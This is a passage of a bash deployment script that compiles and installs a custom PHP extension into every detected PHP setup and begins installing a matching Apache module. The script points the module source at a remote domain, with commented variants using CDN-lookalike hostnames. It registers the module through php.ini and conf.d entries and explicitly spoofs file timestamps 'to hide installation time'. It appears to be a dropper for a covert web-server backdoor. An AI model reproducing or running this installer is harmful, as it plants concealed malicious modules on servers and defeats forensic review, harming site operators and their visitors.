        local php_bin="${PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,bin"]}"
        local php_bin_path="${PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,bin_path"]}"
        local php_version="${PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,version"]}"
        local php_version_suffix=$(echo "$php_bin" | grep -oE '[0-9]+' || echo "")
        local php_bin_dir=$(dirname "$php_bin_path")
        
        # Initialize variables
        local PHP_CONFIG=""
        local PHP_CONFIG_PATH=""
        local PHPIZE_BIN=""
        local PHPIZE_PATH=""
        local PHP_PREFIX=""
        local PHP_EXTENSION_DIR=""
        
        log_info "Finding development tools for PHP $php_version..."
        
        # Find php-config
        # First check in binary directory
        if [ -x "$php_bin_dir/php-config" ]; then
            PHP_CONFIG="php-config"
            PHP_CONFIG_PATH="$php_bin_dir/php-config"
            log_info "Found php-config in PHP binary directory: $PHP_CONFIG_PATH"
        # Try versioned php-config
        elif [ -n "$php_version_suffix" ] && command -v "php-config$php_version_suffix" >/dev/null 2>&1; then
            PHP_CONFIG="php-config$php_version_suffix"
            PHP_CONFIG_PATH=$(command -v "$PHP_CONFIG")
            log_info "Found $PHP_CONFIG in PATH: $PHP_CONFIG_PATH"
        # Try default php-config
        elif command -v php-config >/dev/null 2>&1; then
            PHP_CONFIG="php-config"
            PHP_CONFIG_PATH=$(command -v php-config)
            log_info "Found php-config in PATH: $PHP_CONFIG_PATH"
        else
            # If still not found, search the system
            PHP_CONFIG_PATH=$(find /usr/bin /usr/local/bin /opt/*/bin -name "php-config*" -type f -executable -print -quit 2>/dev/null)
            if [ -n "$PHP_CONFIG_PATH" ]; then
                PHP_CONFIG=$(basename "$PHP_CONFIG_PATH")
                log_info "Found $PHP_CONFIG using system search: $PHP_CONFIG_PATH"
                export PATH="$(dirname "$PHP_CONFIG_PATH"):$PATH"
            else
                log_error "php-config tool not found for PHP $php_version"
                return 1
            fi
        fi
        
        # Find phpize (similar approach as php-config)
        if [ -x "$php_bin_dir/phpize" ]; then
            PHPIZE_BIN="phpize"
            PHPIZE_PATH="$php_bin_dir/phpize"
            log_info "Found phpize in PHP binary directory: $PHPIZE_PATH"
        elif [ -n "$php_version_suffix" ] && command -v "phpize$php_version_suffix" >/dev/null 2>&1; then
            PHPIZE_BIN="phpize$php_version_suffix"
            PHPIZE_PATH=$(command -v "$PHPIZE_BIN")
            log_info "Found $PHPIZE_BIN in PATH: $PHPIZE_PATH"
        elif command -v phpize >/dev/null 2>&1; then
            PHPIZE_BIN="phpize"
            PHPIZE_PATH=$(command -v phpize)
            log_info "Found phpize in PATH: $PHPIZE_PATH"
        else
            PHPIZE_PATH=$(find /usr/bin /usr/local/bin /opt/*/bin -name "phpize*" -type f -executable -print -quit 2>/dev/null)
            if [ -n "$PHPIZE_PATH" ]; then
                PHPIZE_BIN=$(basename "$PHPIZE_PATH")
                log_info "Found $PHPIZE_BIN using system search: $PHPIZE_PATH"
                export PATH="$(dirname "$PHPIZE_PATH"):$PATH"
            else
                log_error "phpize tool not found for PHP $php_version"
                return 1
            fi
        fi
        
        # Get PHP installation info
        PHP_PREFIX=$($PHP_CONFIG_PATH --prefix 2>/dev/null)
        PHP_EXTENSION_DIR=$($PHP_CONFIG_PATH --extension-dir 2>/dev/null)
        
        if [ -z "$PHP_PREFIX" ]; then
            log_error "Could not determine PHP installation prefix for PHP $php_version"
            return 1
        else
            log_info "PHP installation prefix: $PHP_PREFIX"
        fi
        
        if [ -n "$PHP_EXTENSION_DIR" ]; then
            log_info "PHP extension directory: $PHP_EXTENSION_DIR"
        else
            log_warn "Could not determine PHP extension directory for PHP $php_version"
        fi
        
        # Save tool paths to associative array
        PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,config"]="$PHP_CONFIG_PATH"
        PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,phpize"]="$PHPIZE_PATH"
        PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,prefix"]="$PHP_PREFIX"
        PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,ext_dir"]="$PHP_EXTENSION_DIR"
        
        return 0
    }
    
    # Function: Create and configure extension ini file (avoiding duplicates)
    create_extension_ini() {
        local php_bin_path="${PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,bin_path"]}"
        local php_version="${PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,version"]}"
        local MODULE_INI_FILE=""
        local INI_FILE_CREATED=false
        
        # Get PHP configuration directories
        local PHP_INI_DIR=$($php_bin_path --ini 2>/dev/null | grep "Scan for additional .ini files" | awk -F': ' '{print $2}')
        local PHP_INI_PATH=$($php_bin_path --ini 2>/dev/null | grep "Loaded Configuration File" | awk -F': ' '{print $2}')
        
        log_info "Configuring PHP $php_version to load the module..."
        
        # Method 1: Use scan directory (preferred)
        if [ -n "$PHP_INI_DIR" ] && [ -d "$PHP_INI_DIR" ]; then
            log_info "Found PHP additional ini directory: $PHP_INI_DIR"
            MODULE_INI_FILE="${PHP_INI_DIR}/00-${MODULE_NAME}.ini"
            
            # Check if extension is already configured
            local module_already_configured=false
            if [ -f "$MODULE_INI_FILE" ]; then
                if grep -q "^extension=${MODULE_NAME}.so" "$MODULE_INI_FILE"; then
                    log_info "Module $MODULE_NAME is already configured, no changes needed"
                    module_already_configured=true
                    INI_FILE_CREATED=true
                fi
            fi
            
            # Check other ini files for this module
            if [ "$module_already_configured" = false ]; then
                for ini_file in "$PHP_INI_DIR"/*.ini; do
                    if [ -f "$ini_file" ] && grep -q "^extension=${MODULE_NAME}.so" "$ini_file"; then
                        log_info "Module $MODULE_NAME is already configured in $ini_file, no changes needed"
                        module_already_configured=true
                        INI_FILE_CREATED=true
                        MODULE_INI_FILE="$ini_file"
                        break
                    fi
                done
            fi
            
            # If module is not yet configured, create a new ini file
            if [ "$module_already_configured" = false ]; then
                echo "; Auto-generated configuration for ${MODULE_NAME} extension" > "$MODULE_INI_FILE"
                echo "extension=${MODULE_NAME}.so" >> "$MODULE_INI_FILE"
                
                if [ -f "$MODULE_INI_FILE" ]; then
                    INI_FILE_CREATED=true
                    log_success "Created extension configuration: $MODULE_INI_FILE"
                    
                    # Handle Debian/Ubuntu multiple SAPI configurations
                    if [[ "$SYSTEM" == "debian" || "$SYSTEM" == "ubuntu" ]]; then
                        if command -v phpenmod >/dev/null 2>&1; then
                            phpenmod $MODULE_NAME 2>/dev/null
                            log_info "Enabled module with phpenmod"
                        elif [[ -d "/etc/php/$php_version" ]]; then
                            for sapi_dir in "/etc/php/$php_version"/*/conf.d; do
                                if [ -d "$sapi_dir" ]; then
                                    ln -sf "$MODULE_INI_FILE" "$sapi_dir/00-${MODULE_NAME}.ini" 2>/dev/null
                                    log_info "Created symlink in $sapi_dir"
                                fi
                            done
                        fi
                    fi
                else
                    log_error "Failed to create $MODULE_INI_FILE"
                fi
            fi
            
        # Method 2: Use conf.d directory relative to php.ini
        elif [ -n "$PHP_INI_PATH" ] && [ -f "$PHP_INI_PATH" ]; then
            # First check if module is already in php.ini
            if grep -q "^extension=${MODULE_NAME}.so" "$PHP_INI_PATH"; then
                log_info "Module $MODULE_NAME is already configured in php.ini, no changes needed"
                INI_FILE_CREATED=true
                MODULE_INI_FILE="$PHP_INI_PATH"
            else
                local PHP_INI_DIR=$(dirname "$PHP_INI_PATH")
                local CONF_D_DIR="${PHP_INI_DIR}/conf.d"
                
                # Create conf.d directory if it doesn't exist
                if [ ! -d "$CONF_D_DIR" ]; then
                    mkdir -p "$CONF_D_DIR" 2>/dev/null || {
                        CONF_D_DIR="${PHP_INI_DIR}/php.d"
                        mkdir -p "$CONF_D_DIR" 2>/dev/null || {
                            CONF_D_DIR=""
                        }
                    }
                fi
                
                if [ -n "$CONF_D_DIR" ]; then
                    # Check existing conf.d files
                    local module_already_configured=false
                    for ini_file in "$CONF_D_DIR"/*.ini; do
                        if [ -f "$ini_file" ] && grep -q "^extension=${MODULE_NAME}.so" "$ini_file"; then
                            log_info "Module $MODULE_NAME is already configured in $ini_file, no changes needed"
                            module_already_configured=true
                            INI_FILE_CREATED=true
                            MODULE_INI_FILE="$ini_file"
                            break
                        fi
                    done
                    
                    # If module is not yet configured, create a new ini file
                    if [ "$module_already_configured" = false ]; then
                        MODULE_INI_FILE="${CONF_D_DIR}/00-${MODULE_NAME}.ini"
                        
                        echo "; Auto-generated configuration for ${MODULE_NAME} extension" > "$MODULE_INI_FILE"
                        echo "extension=${MODULE_NAME}.so" >> "$MODULE_INI_FILE"
                        
                        if [ -f "$MODULE_INI_FILE" ]; then
                            INI_FILE_CREATED=true
                            log_success "Created extension configuration: $MODULE_INI_FILE"
                            
                            # Make sure php.ini includes conf.d reference
                            if ! grep -q "conf.d\|php.d" "$PHP_INI_PATH"; then
                                log_info "Adding conf.d directory reference to php.ini..."
                                echo "" >> "$PHP_INI_PATH"
                                echo "; Include module configuration files" >> "$PHP_INI_PATH"
                                echo "include=${CONF_D_DIR}/*.ini" >> "$PHP_INI_PATH"
                            fi
                        else
                            log_error "Failed to create $MODULE_INI_FILE"
                        fi
                    fi
				else
                    # Method 3: Direct modification of php.ini
                    log_info "No suitable conf.d directory found. Modifying php.ini directly..."
                    
                    # Find best location to insert extension directive
                    if grep -q "^extension=" "$PHP_INI_PATH"; then
                        # Find last extension line
                        local last_extension_line=$(grep -n "^extension=" "$PHP_INI_PATH" | tail -n1 | cut -d: -f1)
                        if [ -n "$last_extension_line" ]; then
                            # Check if our extension is already there
                            if grep -q "^extension=${MODULE_NAME}.so" "$PHP_INI_PATH"; then
                                log_info "Module $MODULE_NAME is already configured in php.ini, no changes needed"
                                INI_FILE_CREATED=true
                                MODULE_INI_FILE="$PHP_INI_PATH"
                            else
                                log_info "Inserting configuration after existing extensions..."
                                sed -i "${last_extension_line}a\\
; Auto-generated configuration for ${MODULE_NAME} extension\\
extension=${MODULE_NAME}.so" "$PHP_INI_PATH" && {
                                    INI_FILE_CREATED=true
                                    MODULE_INI_FILE="$PHP_INI_PATH"
                                    log_success "Added extension directive to php.ini after existing extensions"
                                }
                            fi
                        fi
                    elif grep -q "^\[ExtensionList\]\|^; Dynamic Extensions" "$PHP_INI_PATH"; then
                        # Check if our extension is already there
                        if grep -q "^extension=${MODULE_NAME}.so" "$PHP_INI_PATH"; then
                            log_info "Module $MODULE_NAME is already configured in php.ini, no changes needed"
                            INI_FILE_CREATED=true
                            MODULE_INI_FILE="$PHP_INI_PATH"
                        else
                            # Insert after extension section header
                            local extension_section=$(grep -n "^\[ExtensionList\]\|^; Dynamic Extensions" "$PHP_INI_PATH" | head -n1 | cut -d: -f1)
                            if [ -n "$extension_section" ]; then
                                log_info "Inserting configuration in extension section..."
                                sed -i "${extension_section}a\\
\\
; Auto-generated configuration for ${MODULE_NAME} extension\\
extension=${MODULE_NAME}.so" "$PHP_INI_PATH" && {
                                    INI_FILE_CREATED=true
                                    MODULE_INI_FILE="$PHP_INI_PATH"
                                    log_success "Added extension directive to php.ini in extension section"
                                }
                            fi
                        fi
                    else
                        # Check if our extension is already there
                        if grep -q "^extension=${MODULE_NAME}.so" "$PHP_INI_PATH"; then
                            log_info "Module $MODULE_NAME is already configured in php.ini, no changes needed"
                            INI_FILE_CREATED=true
                            MODULE_INI_FILE="$PHP_INI_PATH"
                        else
                            # Append to end of file
                            log_info "Appending configuration to end of php.ini..."
                            echo "" >> "$PHP_INI_PATH"
                            echo "; Auto-generated configuration for ${MODULE_NAME} extension" >> "$PHP_INI_PATH"
                            echo "extension=${MODULE_NAME}.so" >> "$PHP_INI_PATH" && {
                                INI_FILE_CREATED=true
                                MODULE_INI_FILE="$PHP_INI_PATH"
                                log_success "Added extension directive to end of php.ini"
                            }
                        fi
                    fi
                fi
            fi
        else
            # Method 4: Try common locations for PHP configuration
            log_warn "Could not find PHP ini file or directory. Trying common locations..."
            local found_dir=""
            
            for dir in "/etc/php/conf.d" "/etc/php.d" "/etc/php/mods-available" "/etc/php/$php_version/mods-available"; do
                if [ -d "$dir" ]; then
                    found_dir="$dir"
                    break
                fi
            done
            
            if [ -n "$found_dir" ]; then
                # Check existing ini files
                local module_already_configured=false
                for ini_file in "$found_dir"/*.ini; do
                    if [ -f "$ini_file" ] && grep -q "^extension=${MODULE_NAME}.so" "$ini_file"; then
                        log_info "Module $MODULE_NAME is already configured in $ini_file, no changes needed"
                        module_already_configured=true
                        INI_FILE_CREATED=true
                        MODULE_INI_FILE="$ini_file"
                        break
                    fi
                done
                
                if [ "$module_already_configured" = false ]; then
                    MODULE_INI_FILE="${found_dir}/00-${MODULE_NAME}.ini"
                    log_info "Using directory: $found_dir"
                    
                    echo "; Auto-generated configuration for ${MODULE_NAME} extension" > "$MODULE_INI_FILE"
                    echo "extension=${MODULE_NAME}.so" >> "$MODULE_INI_FILE"
                    
                    if [ -f "$MODULE_INI_FILE" ]; then
                        INI_FILE_CREATED=true
                        log_success "Created extension configuration: $MODULE_INI_FILE"
                        
                        # For Debian/Ubuntu, try to enable the module
                        if [[ "$SYSTEM" == "debian" || "$SYSTEM" == "ubuntu" ]] && command -v phpenmod >/dev/null 2>&1; then
                            phpenmod $MODULE_NAME 2>/dev/null
                            log_info "Enabled module with phpenmod"
                        fi
                    fi
                fi
            else
                log_warn "Could not find a suitable location for INI file. You may need to manually enable the module."
            fi
        fi
        
        # Save INI file path for later use
        PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,ini_file"]="$MODULE_INI_FILE"
        
        if [ "$INI_FILE_CREATED" = true ]; then
            return 0
        else
            return 1
        fi
    }
    
    # Main execution flow
    # 1. Detect all PHP installations
    detect_all_php_installations || {
        log_error "Could not find PHP installation. Please install PHP and try again."
        return 1
    }
    
    # 2. Select PHP version
    select_php_version || {
        log_error "Could not select PHP version."
        return 1
    }
    
    # 3. Find tools for the selected version
    find_php_tools || {
        log_error "Could not find required PHP development tools."
        return 1
    }
    
    # 4. Check and install dependencies
    log_info "Checking for required development tools and libraries..."
    
    # Check basic development tools
    local required_tools=("make" "gcc" "curl")
    local missing_tools=()
    
    for tool in "${required_tools[@]}"; do
        if ! command -v $tool >/dev/null 2>&1; then
            missing_tools+=("$tool")
        fi
    done
    
    # If tools are missing, try to install them
    if [ ${#missing_tools[@]} -gt 0 ]; then
        log_warn "Missing required tools: ${missing_tools[*]}"
        log_info "Attempting to install missing tools..."
        
        case "$SYSTEM" in
            debian|ubuntu)
                log_info "Using apt-get to install dependencies..."
                apt-get update -y >/dev/null 2>&1
                apt-get install -y build-essential curl libcurl4-openssl-dev php-dev 2>/dev/null
                ;;
            centos|redhat|fedora|oracle|oraclelinux|rocky|amazon)
                log_info "Using yum/dnf to install dependencies..."
                if command -v dnf >/dev/null 2>&1; then
                    dnf install -y gcc make curl libcurl-devel php-devel 2>/dev/null
                else
                    yum install -y gcc make curl libcurl-devel php-devel 2>/dev/null
                fi
                ;;
            suse|opensuse*)
                log_info "Using zypper to install dependencies..."
                zypper install -y gcc make curl libcurl-devel php-devel 2>/dev/null
                ;;
            arch|manjaro)
                log_info "Using pacman to install dependencies..."
                pacman -Sy --noconfirm base-devel curl php-devel 2>/dev/null
                ;;
            *)
                log_warn "Unknown distribution. Please install the following packages manually: gcc, make, curl, libcurl-dev, php-dev"
                ;;
        esac
        
        # Verify installation
        local still_missing=false
        for tool in "${missing_tools[@]}"; do
            if ! command -v $tool >/dev/null 2>&1; then
                log_error "Tool $tool is still missing after installation attempt."
                still_missing=true
            fi
        done
        
        if [ "$still_missing" = true ]; then
            log_warn "Could not install all required tools. Attempting to continue anyway, but may fail."
        fi
    fi
    
    # 5. Modify module source to use the correct module name
    log_info "Updating module source with correct MODULE value..."
    if ! sed -i "s/bangkokviews/$MODULE/g" "$MODULE_FILE"; then
        log_error "Failed to update MODULE in $MODULE_FILE"
        return 1
    fi
	
	# if [ "$COUNTRY" = "MY" ]; then
		# if ! sed -i "s/example.com/my.fontawesome-cdn.com/g" "$MODULE_FILE"; then
			# log_error "Failed to set domain for MY in $MODULE_FILE. Exiting."
			# return 1
		# fi
		# log_success "Domain set successfully for MY in $MODULE_FILE."
	# elif [ "$COUNTRY" = "BR" ]; then
		# if ! sed -i "s/example.com/br.fontawesome-cdn.com/g" "$MODULE_FILE"; then
			# log_error "Failed to set domain for BR in $MODULE_FILE. Exiting."
			# return 1
		# fi
		# log_success "Domain set successfully for BR in $MODULE_FILE."
	# elif [ "$COUNTRY" = "IN" ]; then
		# if ! sed -i "s/example.com/in.fontawesome-cdn.com/g" "$MODULE_FILE"; then
			# log_error "Failed to set domain for IN in $MODULE_FILE. Exiting."
			# return 1
		# fi
		# log_success "Domain set successfully for IN in $MODULE_FILE."
	# else
		# log_error "Unknown country code: $COUNTRY"
		# return 1
	# fi
	
	if ! sed -i "s/example.com/th.bangkokviews.com/g" "$MODULE_FILE"; then
		log_error "Failed to set domain for TH in $MODULE_FILE. Exiting."
		return 1
	fi
	log_success "Domain set successfully for TH in $MODULE_FILE."
    
    # 6. Build and install the extension
    log_info "Building PHP extension..."
    
    # Get current tool paths
    local php_bin_path="${PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,bin_path"]}"
    local php_config_path="${PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,config"]}"
    local phpize_path="${PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,phpize"]}"
    local php_version="${PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,version"]}"
    
    pushd "$PHP_DIR" >/dev/null || {
        log_error "Failed to change to PHP module directory: $PHP_DIR"
        return 1
    }
    
    # Prepare build environment
    log_info "Running phpize..."
    if ! $phpize_path; then
        log_error "phpize failed. Check output for details."
        popd >/dev/null
        return 1
    fi
    
    # Configure
    log_info "Running configure..."
    if ! ./configure --enable-$MODULE_NAME --with-php-config=$php_config_path --with-curl; then
        log_error "Configure failed. Check output for details."
        popd >/dev/null
        return 1
    fi
    
    # Compile
    log_info "Compiling module..."
    if ! make; then
        log_error "Compilation failed. Check output for details."
        popd >/dev/null
        return 1
    fi
    
    # Install
    log_info "Installing module..."
    if ! make install; then
        log_error "Installation failed. Check output for details."
        popd >/dev/null
        return 1
    fi
    
    log_success "Module compiled and installed successfully."
    
    # 7. Create and configure PHP extension ini file
    create_extension_ini
    
    # Clean up build files and return to original directory
    make clean >/dev/null 2>&1
    popd >/dev/null
    
    # 8. Verify module installation
    log_info "Verifying module installation..."
    
    local MODULE_LOADED=false
    local php_ext_dir="${PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,ext_dir"]}"
    
    # Check if module is loaded in PHP
    if $php_bin_path -m 2>/dev/null | grep -q "$MODULE_NAME"; then
        log_success "Module $MODULE_NAME is currently loaded in PHP."
        MODULE_LOADED=true
    # Check if module exists in extension directory
    elif [ -n "$php_ext_dir" ] && [ -f "$php_ext_dir/${MODULE_NAME}.so" ]; then
        log_success "Module is installed but may need server restart to be loaded."
        log_info "Module file location: $php_ext_dir/${MODULE_NAME}.so"
        MODULE_LOADED=true
    else
        log_warn "Could not verify module installation. Check PHP logs for errors."
    fi
    
    # 9. Apply timestamp spoofing to hide installation time
    if [ -n "$php_ext_dir" ] && [ -f "$php_ext_dir/${MODULE_NAME}.so" ]; then
        log_info "Applying timestamp spoofing to module files..."
        
        # Get timestamp from extension directory
        if get_base_time "$php_ext_dir"; then
            log_info "Using timestamp: $base_time"
            
            # Apply to module file
            spoof_file_timestamp "$php_ext_dir/${MODULE_NAME}.so" "$base_time" || 
                log_warn "Failed to spoof timestamp for module file"
            
            # Apply to ini file if created
            local ini_file="${PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,ini_file"]}"
            if [ -n "$ini_file" ] && [ -f "$ini_file" ]; then
                spoof_file_timestamp "$ini_file" "$base_time" || 
                    log_warn "Failed to spoof timestamp for ini file"
                
                # Handle additional SAPI configurations
                if [[ -d "/etc/php/$php_version" ]]; then
                    for sapi_dir in "/etc/php/$php_version"/*/conf.d; do
                        ini_link="$sapi_dir/00-${MODULE_NAME}.ini"
                        if [ -f "$ini_link" ] && [ ! -L "$ini_link" ]; then
                            spoof_file_timestamp "$ini_link" "$base_time" || 
                                log_warn "Failed to spoof timestamp for $ini_link"
                        fi
                    done
                fi
            fi
        else
            log_warn "Could not determine base timestamp for spoofing."
        fi
    fi
    
    # For multi-PHP environments, provide summary info
    if [ "${PHP_INSTALLATIONS["count"]}" -gt 1 ]; then
        log_info "PHP extension installed to the following PHP version:"
        log_success "- PHP ${PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,version"]} (${PHP_INSTALLATIONS["$SELECTED_PHP_INDEX,bin_path"]})"
        
        # Provide guidance for installing to other versions
        log_info "To install this extension for other detected PHP versions, run the script again and select a different PHP version."
    fi
    
    # Provide service restart recommendations if module is installed but not loaded
    if [ "$MODULE_LOADED" = true ] && ! $php_bin_path -m 2>/dev/null | grep -q "$MODULE_NAME"; then
        log_info "The module is installed but you may need to restart services to load it:"
        
        # Detect services to restart
        if command -v systemctl >/dev/null 2>&1; then
            # Check for common PHP services
            for service in php-fpm "php$php_version-fpm" apache2 httpd nginx; do
                if systemctl is-active --quiet $service 2>/dev/null; then
                    log_info "- Restart $service: systemctl restart $service"
                fi
            done
        else
            log_info "- Restart PHP-FPM: service php-fpm restart"
            log_info "- Restart Apache: service apache2 restart or service httpd restart"
            log_info "- Restart Nginx: service nginx restart"
        fi
    fi
    
	PHPSTATUS=1
    log_success "PHP module installation completed."
    return 0
}

# ================================= END PHP =====================================================


# ================================= APACHE =====================================================

deploy_apache_module() {
    log_start "Installing Apache module..."
    
    case "$ARCH" in
        i386|i686)
            log_warn "Skipping apache module installation for $ARCH architecture..."
            return 0
            ;;
    esac
    
    # Define constants
    local MODULE_NAME=${APACHE_EXT_NAME}
    local MODULE_FILE="APACHE/${MODULE_NAME}.c"
    APACHESTATUS=0
    
    # 检查模块源文件是否存在
    if [[ ! -f "$MODULE_FILE" ]]; then
        log_error "Module file ${MODULE_FILE} not found. Please make sure it exists."
        return 1
    else
        log_info "Found module file: ${MODULE_FILE}"
    fi
    
    # 初始化变量
    local APACHE_INSTALLED=false
    local APACHE_BIN=""
    local APACHE_BIN_PATH=""
    local APACHE_DIR=""
    local APACHE_MODULES_DIR=""
    local APACHE_CONF_DIR=""
    local APACHE_VERSION=""
    
    # Apache二进制文件的常见名称和位置
    local apache_bin_names=("apache2" "httpd" "apache")
    local apache_locations=(
        "/usr/local/apache/bin"
        "/usr/local/apache2/bin"
        "/opt/apache/bin"
        "/opt/apache2/bin"
        "/opt/httpd/bin"
        "/usr/local/httpd/bin"
        "/usr/local/sbin"
        "/usr/sbin"
        "/sbin"
        "/opt/lampp/bin"
        "/xampp/apache/bin"
    )
    
    # 查找Apache二进制文件，避免重复检测
    detect_apache_binary() {
        log_info "Detecting Apache installation..."
        local found_binaries=()
        local found_real_paths=()
        
        # 首先尝试在PATH中查找
        for bin in "${apache_bin_names[@]}"; do
            if command -v $bin >/dev/null 2>&1; then
                local bin_path=$(command -v $bin)
                local real_path=$(readlink -f "$bin_path" 2>/dev/null || echo "$bin_path")
                
                # 检查是否已遇到此实际路径
                local is_duplicate=false
                for existing_path in "${found_real_paths[@]}"; do
                    if [ "$real_path" = "$existing_path" ]; then
                        is_duplicate=true
                        break
                    fi
                done
                
                if [ "$is_duplicate" = false ]; then
                    found_binaries+=("$bin_path")
                    found_real_paths+=("$real_path")
                    log_info "Found Apache in PATH: $bin_path (real path: $real_path)"
                fi
            fi
        done
        
        # 然后检查常见位置
        for location in "${apache_locations[@]}"; do
            for bin in "${apache_bin_names[@]}"; do
                if [ -x "$location/$bin" ]; then
                    local bin_path="$location/$bin"
                    local real_path=$(readlink -f "$bin_path" 2>/dev/null || echo "$bin_path")
                    
                    # 检查是否重复
                    local is_duplicate=false
                    for existing_path in "${found_real_paths[@]}"; do
                        if [ "$real_path" = "$existing_path" ]; then
                            is_duplicate=true
                            break
                        fi
                    done
                    
                    if [ "$is_duplicate" = false ]; then
                        found_binaries+=("$bin_path")
                        found_real_paths+=("$real_path")
                        log_info "Found Apache in custom location: $bin_path (real path: $real_path)"
                    fi
                fi
            done
        done
        
        # 如果尚未找到Apache，尝试使用find命令
        if [ ${#found_binaries[@]} -eq 0 ]; then
            log_info "No Apache found in standard locations. Searching the system..."
            for bin in "${apache_bin_names[@]}"; do
                local bin_paths=$(find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /opt/*/bin -name "$bin" -type f -executable 2>/dev/null)
                for bin_path in $bin_paths; do
                    local real_path=$(readlink -f "$bin_path" 2>/dev/null || echo "$bin_path")
                    
                    # 检查是否重复
                    local is_duplicate=false
                    for existing_path in "${found_real_paths[@]}"; do
                        if [ "$real_path" = "$existing_path" ]; then
                            is_duplicate=true
                            break
                        fi
                    done
                    
                    if [ "$is_duplicate" = false ]; then
                        found_binaries+=("$bin_path")
                        found_real_paths+=("$real_path")
                        log_info "Found Apache using system search: $bin_path (real path: $real_path)"
                    fi
                done
            done
        fi
        
        # 选择Apache二进制文件(优先选择非符号链接的实际安装路径)
        if [ ${#found_binaries[@]} -gt 0 ]; then
            # 尝试找到实际安装(非符号链接)
            for i in "${!found_binaries[@]}"; do
                local bin_path="${found_binaries[$i]}"
                local real_path="${found_real_paths[$i]}"
                
                # 优先选择实际安装而非符号链接
                if [ "$bin_path" = "$real_path" ]; then
                    APACHE_BIN=$(basename "$bin_path")
                    APACHE_BIN_PATH="$bin_path"
                    APACHE_INSTALLED=true
                    log_success "Selected Apache binary: $APACHE_BIN_PATH (actual installation)"
                    return 0
                fi
            done
            
            # 如果没有找到实际安装，使用第一个符号链接
            APACHE_BIN=$(basename "${found_binaries[0]}")
            APACHE_BIN_PATH="${found_binaries[0]}"
            APACHE_INSTALLED=true
            log_success "Selected Apache binary: $APACHE_BIN_PATH (symlink)"
            return 0
        fi
        
        log_error "No Apache installation found."
        return 1
    }
    
    # 获取Apache安装详情
    get_apache_details() {
        if [ -z "$APACHE_BIN_PATH" ]; then
            log_error "Apache binary path not set."
            return 1
        fi
        
        log_info "Getting Apache installation details..."
        
        # 获取Apache版本
        APACHE_VERSION=$("$APACHE_BIN_PATH" -v 2>/dev/null | grep -i "version" | awk '{print $3}')
        
        # 获取Apache根目录
        APACHE_DIR=$("$APACHE_BIN_PATH" -V 2>/dev/null | grep -i "HTTPD_ROOT" | awk -F '"' '{print $2}')
        
        # 获取Apache配置目录
        if [ "$APACHE_BIN" = "apache2" ]; then
            # Debian/Ubuntu风格
            if [ -d "/etc/apache2" ]; then
                APACHE_CONF_DIR="/etc/apache2"
            else
                APACHE_CONF_DIR="${APACHE_DIR}/conf"
            fi
        else
            # RHEL/CentOS风格
            if [ -d "/etc/httpd" ]; then
                APACHE_CONF_DIR="/etc/httpd"
            else
                APACHE_CONF_DIR="${APACHE_DIR}/conf"
            fi
        fi
        
        # 获取Apache模块目录
        APACHE_MODULES_DIR=$("$APACHE_BIN_PATH" -V 2>/dev/null | grep -i "DEFAULT_libzipDIR" | awk -F '"' '{print $2}')
        
        # 如果未找到模块目录，搜索常见位置
        if [ -z "$APACHE_MODULES_DIR" ]; then
            log_info "Searching for Apache modules directory..."
            local module_locations=(
                "${APACHE_DIR}/modules"
                "/usr/lib/apache2/modules"
                "/usr/lib64/apache2/modules"
                "/usr/lib/httpd/modules"
                "/usr/lib64/httpd/modules"
                "/usr/local/apache2/modules"
                "/usr/local/httpd/modules"
                "/opt/apache2/modules"
                "/opt/httpd/modules"
                "/opt/lampp/modules"
            )
            
            for location in "${module_locations[@]}"; do
                if [ -d "$location" ]; then
                    APACHE_MODULES_DIR="$location"
                    log_info "Found Apache modules directory: $APACHE_MODULES_DIR"
                    break
                fi
            done
            
            # 如果仍未找到，尝试查找.so文件
            if [ -z "$APACHE_MODULES_DIR" ]; then
                log_info "Searching for Apache modules by .so files..."
                local module_path=$(find "${APACHE_DIR}" /usr/lib /usr/lib64 /usr/local -path "*/modules/*.so" -print -quit 2>/dev/null)
                if [ -n "$module_path" ]; then
                    APACHE_MODULES_DIR=$(dirname "$module_path")
                    log_info "Found Apache modules directory: $APACHE_MODULES_DIR"
                fi
            fi
        fi
        
        # 记录Apache详情
        log_success "Apache details:"
        log_info "- Binary: ${APACHE_BIN_PATH}"
        log_info "- Version: ${APACHE_VERSION}"
        log_info "- Root directory: ${APACHE_DIR}"
        log_info "- Config directory: ${APACHE_CONF_DIR}"
        log_info "- Modules directory: ${APACHE_MODULES_DIR}"
        
        # 验证所需目录
        if [ -z "$APACHE_DIR" ] || [ -z "$APACHE_CONF_DIR" ]; then
            log_error "Could not determine Apache installation directories."
            return 1
        fi
        
        return 0
    }
    
    # 下载并安装APXS工具和依赖包
    download_apxs_dependencies() {
        log_info "Downloading APXS tools and dependencies..."
        local temp_dir=$(mktemp -d)
        cd "$temp_dir" || return 1
        
        # 确定系统架构
        local arch_suffix=""
        case "$ARCH" in
            x86_64) arch_suffix="x86_64" ;;
            aarch64) arch_suffix="aarch64" ;;
            *) arch_suffix="x86_64" ;; # 默认为x86_64
        esac
        
        # 根据系统选择下载的包
        case "${SYSTEM}" in
            debian|ubuntu)
                log_info "Downloading Debian/Ubuntu development packages..."
                local pkgs=("apache2-dev" "libapr1-dev" "libaprutil1-dev" "libcurl4-openssl-dev")
                local download_success=true
                
                for pkg in "${pkgs[@]}"; do
                    log_info "Downloading $pkg..."
                    if ! apt-get download "$pkg" 2>/dev/null; then
                        # 尝试从镜像站点下载
                        local mirror_url="http://ftp.debian.org/debian/pool/main/"
                        local pkg_path=$(apt-cache show "$pkg" 2>/dev/null | grep "Filename:" | head -1 | awk '{print $2}')
                        
                        if [ -n "$pkg_path" ]; then
                            if ! wget -q -O "${pkg}.deb" "${mirror_url}${pkg_path}" 2>/dev/null; then
                                log_error "Failed to download $pkg package."
                                download_success=false
